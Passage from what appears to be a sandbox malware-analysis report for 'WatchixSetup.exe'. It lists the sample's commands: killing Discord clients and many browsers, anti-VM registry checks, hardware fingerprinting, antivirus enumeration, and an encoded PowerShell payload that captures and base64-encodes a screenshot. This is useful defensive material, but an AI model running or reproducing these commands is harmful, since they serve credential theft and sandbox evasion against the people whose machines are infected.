    taskkill /F /IM Revolt.exe
    3⤵
    - Kills process with taskkill
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2672
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Fluent.exe
    3⤵
    - Kills process with taskkill
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4604
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Lightcord.exe
    3⤵
    - Kills process with taskkill
    PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"
  2⤵
  PID:4752
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordOpenSource.exe
    3⤵
    - Kills process with taskkill
    PID:4992

C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
"C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe" --hidden
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5884
- C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchixSetup" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1740,i,1890023575496163785,4197237759382499726,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1744,i,13309975296365290915,9884344394892125735,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1732 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5192
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5352
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:5300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5436
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5772
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:5600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    PID:3940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:6000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Executes a command shell one-liner
  PID:400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  PID:6136
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:6076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5724
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  PID:1704
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    PID:5748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Executes a command shell one-liner
  PID:1572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Executes a command shell one-liner
  PID:4756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  PID:6024
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5736
- C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchixSetup\WatchixSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchixSetup" --field-trial-handle=1740,i,1890023575496163785,4197237759382499726,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1744,i,13309975296365290915,9884344394892125735,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2284 /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:688
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  - Executes a command shell one-liner
  PID:5380
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:5176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:5376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:4564
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:4572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:5200
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:1996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:5580
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:5228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5176
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:4376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3972
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:5964
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:5972
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:5276
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:3708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:5416
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:5624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:5700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2068
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:4912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:5396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:4968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2708
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4388
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:3276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5168
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:2352
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  - Executes a command shell one-liner
  PID:4912
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:3420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:2356
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5748
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:2568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  - Executes a command shell one-liner
  PID:3188
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:4144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5736
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1348
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  - Executes a command shell one-liner
  PID:3604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:2088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  - Executes a command shell one-liner
  PID:2660
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA2ADAAMwA0AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA2ADAAMwA0AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANgAwADMANAAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADYAMAAzADQALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  - Executes a command shell one-liner
  PID:5140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA2ADAAMwA0AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA2ADAAMwA0AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANgAwADMANAAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAF